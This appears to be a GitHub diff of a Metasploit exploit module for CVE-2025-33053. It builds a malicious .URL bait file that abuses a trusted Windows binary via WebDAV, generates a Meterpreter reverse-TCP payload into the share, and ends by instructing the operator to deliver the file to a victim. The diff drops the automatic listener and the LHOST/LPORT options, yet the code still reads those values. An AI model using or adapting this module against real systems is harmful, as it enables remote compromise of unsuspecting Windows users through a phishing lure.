1- require 'fileutils'
2-
31class MetasploitModule < Msf ::Exploit ::Remote
42 Rank = NormalRanking
53
@@ -8,8 +6,8 @@ def initialize(info = {})
86 'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV' ,
97 'Description' => %q{
108 This module creates a malicious .URL file that abuses CVE-2025-33053,
11- optionally sets up a WebDAV server, generates a payload, places it into
12- the WebDAV directory, and can launch a listener automatically .
9+ optionally generates a payload, places it into
10+ the WebDAV directory.
1311 } ,
1412 'Author' => [ 'Dev Bui Hieu' ] ,
1513 'License' => MSF_LICENSE ,
@@ -28,11 +26,8 @@ def initialize(info = {})
2826
2927 register_options (
3028 [
31- OptString . new ( 'LHOST' , [ true , 'Local host for reverse connection' ] ) ,
32- OptInt . new ( 'LPORT' , [ true , 'Local port for reverse connection' , 4444 ] ) ,
3329 OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
3430 OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
35- OptBool . new ( 'START_LISTENER' , [ true , 'Start handler after setup' , true ] ) ,
3631 OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] ) ,
3732 OptString . new ( 'OUTFILE' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
3833 OptString . new ( 'LOLBAS_EXE' , [ true , 'Path to trusted binary (LOLBAS)' , 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe' ] ) ,
@@ -43,17 +38,20 @@ def initialize(info = {})
4338 )
4439 end
4540
46- def run
41+ def exploit
4742 lhost = datastore [ 'LHOST' ]
4843 lport = datastore [ 'LPORT' ]
4944 payload_type = datastore [ 'PAYLOAD' ]
5045 webdav_dir = datastore [ 'WEBDAV_DIR' ]
5146 gen_payload = datastore [ 'GEN_PAYLOAD' ]
52- start_listener = datastore [ 'START_LISTENER' ]
5347
5448 print_status ( "Creating WebDAV directory if not exists..." )
55- FileUtils . mkdir_p ( webdav_dir ) unless File . directory? ( webdav_dir )
56-
49+ begin
50+ FileUtils . mkdir_p ( webdav_dir ) unless File . directory? ( webdav_dir )
51+ rescue Errno ::EACCES
52+ fail_with ( Failure ::NoAccess , "Cannot create WebDAV directory. 🚫 Permission denied.\n 💡 Try restarting Metasploit with sudo or change ownership of #{ webdav_dir } ." )
53+ end
54+
5755 if gen_payload
5856 exe_path = File . join ( webdav_dir , 'payload.exe' )
5957 print_good ( "Generating payload at: #{ exe_path } " )
@@ -71,28 +69,32 @@ def run
7169 Modified=#{ datastore [ 'MODIFIED_HEX' ] }
7270 EOF
7371
74- url_file = File . join ( Msf :: Config . local_directory , datastore [ 'OUTFILE' ] )
72+ url_file = File . expand_path ( datastore [ 'OUTFILE' ] )
7573 File . write ( url_file , url_content )
7674 print_good ( ".URL file written to: #{ url_file } " )
7775
78- if start_listener
79- print_status ( "Starting handler as background job..." )
80- handler = framework . exploits . create ( 'multi/handler' )
81- handler . datastore [ 'PAYLOAD' ] = payload_type
82- handler . datastore [ 'LHOST' ] = lhost
83- handler . datastore [ 'LPORT' ] = lport
84- handler . exploit_simple ( 'RunAsJob' => true )
85- end
86-
8776 print_status ( "Module complete. Deliver #{ url_file } to victim." )
8877 end
8978
90- def generate_payload_exe ( payload , lhost , lport , output_path )
91- exe = framework . payloads . create ( payload )
92- exe . datastore [ 'LHOST' ] = lhost
93- exe . datastore [ 'LPORT' ] = lport
94- raw = exe . generate
95- exe_file = Rex ::Text . to_win32pe ( raw , exe . arch )
96- File . open ( output_path , 'wb' ) { |f | f . write ( exe_file ) }
79+ def generate_payload_exe ( payload_name , lhost , lport , output_path )
80+
81+ payload = framework . payloads . create ( payload_name . to_s . strip )
82+
83+ payload . datastore [ 'LHOST' ] = lhost
84+ payload . datastore [ 'LPORT' ] = lport
85+
86+ raw = payload . generate
87+
88+ exe = Msf ::Util ::EXE . to_win32pe ( framework , raw )
89+
90+ begin
91+ File . open ( output_path , 'wb' ) { |f | f . write ( exe ) }
92+ print_good ( "Payload successfully written to #{ output_path } " )
93+ rescue Errno ::EACCES
94+ fail_with ( Failure ::NoAccess , "Cannot write to #{ output_path } . 🚫 Permission denied.\n 💡 Try restarting Metasploit with sudo or change directory permissions." )
95+ end
96+ rescue => e
97+ print_error ( "Failed to generate payload: #{ e . class } #{ e . message } " )
9798 end
99+
98100end
0 commit comments